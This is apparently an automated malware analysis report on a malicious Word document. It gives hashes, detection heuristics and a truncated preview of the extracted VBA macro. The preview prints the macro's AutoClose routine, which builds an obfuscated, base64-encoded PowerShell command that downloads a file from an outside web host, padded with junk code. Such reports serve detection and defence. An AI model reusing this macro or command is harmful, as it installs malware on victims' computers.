Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a18541c69813d43…

MALICIOUS

Office (OLE)

219.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 6e331ea1127c72263a0b8e12e626a70e SHA-1: 9b703cd90cd007fc6ceea08a1c23e24d26586129 SHA-256: 2a18541c69813d43739c56b35c178f3dff717a52ea5ca05f59e7d34161bb469d
222 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Emodldr-6703506-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-6703506-0
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 85654 bytes
SHA-256: 513cb2fde0ff565210b814892f5d16954b43d15045fb99541a5eda71a3f6c95f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const gihYxoWISUaIMUSupYByQomigiSIMuAnihEIyX = 0
Sub AutoClose()
On Error Resume Next
Dim BiDYTeVawENOMaSENAifIxeQAwxoronAm(3)
If "HUMifiLOCoPYbImUY" <> "HUMifiLOCoPYbImUY" & CStr(CInt("74")) Then
BiDYTeVawENOMaSENAifIxeQAwxoronAm(0) = VarType(VarType(CInt("74")))
If "HUMifiLOCoPYbImUY" <> "74" Then
BiDYTeVawENOMaSENAifIxeQAwxoronAm(0) = 74.1
End If
End If
BiDYTeVawENOMaSENAifIxeQAwxoronAm(1) = HUMifiLOCoPYbImUY & "11"
BiDYTeVawENOMaSENAifIxeQAwxoronAm(2) = Minute(7474)

NegOWuaweboWOpuPWyaUQiUBijUturekI = "cmd." + Chr(101) + "x" + Chr(101) + " /c P^o^" + Chr(87) + "^" + Chr(101) + "^r^s^h^" + Chr(101) + "^L^L^.^" + Chr(101) + "^x^" + Chr(101) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^1^A^H^I^A^" + Chr(101) + "^Q^A^4^A^D^I^A^O^Q^A^3^A^H^I^A^a^Q^B^k^A^G^8^A^d^w^B^v^A^H^U^A^c^g^B^5^A^D^g^A^M^w^A^z^A^G^8^A^Z^Q^A^u^A^G^M^A^b^w^B^t^A^C^8^A^V^A^B^P^A^E^w^A^L^w^B^u^A^G^U^A^c^g^B^r^A^G^8^A^b^Q^A^u^A^H^A^A^a^A^B"
Dim VYBOreJaWyVykuEGOdOTYdoBUC(3)
If "TOdIovYREXYtYtYViFy" <> "TOdIovYREXYtYtYViFy" & CStr(CInt("8727")) Then
VYBOreJaWyVykuEGOdOTYdoBUC(0) = VarType(VarType(CInt("8727")))
If "TOdIovYREXYtYtYViFy" <> "8727" Then
VYBOreJaWyVykuEGOdOTYdoBUC(0) = 8727.6
End If
End If
VYBOreJaWyVykuEGOdOTYdoBUC(1) = TOdIovYREXYtYtYViFy & "66"
VYBOreJaWyVykuEGOdOTYdoBUC(2) = Minute(87278727)


Dim cUQliVUpeQeBIdIMiiWAbuVohoUPAz(3)
If "mmOdanAtUDAF" <> "mmOdanAtUDAF" & CStr(CInt("5404")) Then
cUQliVUpeQeBIdIMiiWAbuVohoUPAz(0) = VarType(VarType(CInt("5404")))
If "mmOdanAtUDAF" <> "5404" Then
cUQliVUpeQeBIdIMiiWAbuVohoUPAz(0) = 5404.9
End If
End If
cUQliVUpeQeBIdIMiiWAbuVohoUPAz(1) = mmOdanAtUDAF & "99"
cUQliVUpeQeBIdIMiiWAbuVohoUPAz(2) = Minute(54045404)

Dim pwepuGeneipapOJelrEdAgeCYzYcEPABUpyl(3)
Dim QUmOwaqYBERAhgUboQVXANAjycXviLaRy(3)
If "VekApyXAsOsavICuiugIFIa" <> "VekApyXAsOsavICuiugIFIa" & CStr(CInt("7034")) Then
QUmOwaqYBERAhgUboQVXANAjycXviLaRy(0) = VarType(VarType(CInt("7034")))
If "VekApyXAsOsavICuiugIFIa" <> "7034" Then
QUmOwaqYBERAhgUboQVXANAjycXviLaRy(0) = 7034.8
End If
End If
QUmOwaqYBERAhgUboQVXANAjycXviLaRy(1) = VekApyXAsOsavICuiugIFIa & "88"
QUmOwaqYBERAhgUboQVXANAjycXviLaRy(2) = Minute(70347034)

Dim nYjAdaiuPoaANUdEZyWaQArO(3)
If "kCERfoakOLaaOrbBika" <> "kCERfoakOLaaOrbBika" & CStr(CInt("1203")) Then
nYjAdaiuPoaANUdEZyWaQArO(0) = VarType(VarType(CInt("1203")))
If "kCERfoakOLaaOrbBika" <> "1203" Then
nYjAdaiuPoaANUdEZyWaQArO(0) = 1203.7
End If
End If
nYjAdaiuPoaANUdEZyWaQArO(1) = kCERfoakOLaaOrbBika & "77"
nYjAdaiuPoaANUdEZyWaQArO(2) = Minute(12031203)

If "NedAgImuhOSeNIBodYjEYvy" <> "NedAgImuhOSeNIBodYjEYvy" & CStr(CInt("5592")) Then
pwepuGeneipapOJelrEdAgeCYzYcEPABUpyl(0) = VarType(VarType(CInt("5592")))
If "NedAgImuhOSeNIBodYjEYvy" <> "5592" Then
pwepuGeneipapOJelrEdAgeCYzYcEPABUpyl(0) = 5592.2
End If
End If
Dim WuMiFYwojBukuKYMaweQYiiQIxYXoF(3)
If "KOqYxYnUJOciZIxARi" <> "KOqYxYnUJOciZIxARi" & CStr(CInt("1016")) Then
WuMiFYwojBukuKYMaweQYiiQIxYXoF(0) = VarType(VarType(CInt("1016")))
If "KOqYxYnUJOciZIxARi" <> "1016" Then
WuMiFYwojBukuKYMaweQYiiQIxYXoF(0) = 1016.5
End If
End If
WuMiFYwojBukuKYMaweQYiiQIxYXoF(1) = KOqYxYnUJOciZIxARi & "55"
WuMiFYwojBukuKYMaweQYiiQIxYXoF(2) = Minute(10161016)

pwepuGeneipapOJelrEdAgeCYzYcEPABUpyl(1) = NedAgImuhOSeNIBodYjEYvy & "22"
pwepuGeneipapOJelrEdAgeCYzYcEPABUpyl(2) = Minute(55925592)

Dim nOtYgajKiKBIWYbyQuKev(3)
If "guKyXEfGoTAiUMibEv" <> "guKyXEfGoTAiUMibEv" & CStr(CInt("4291")) Then
nOtYgajKiKBIWYbyQuKev(0) = VarType(VarType(CInt("4291")))
If "guKyXEfGoTAiUMibEv
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.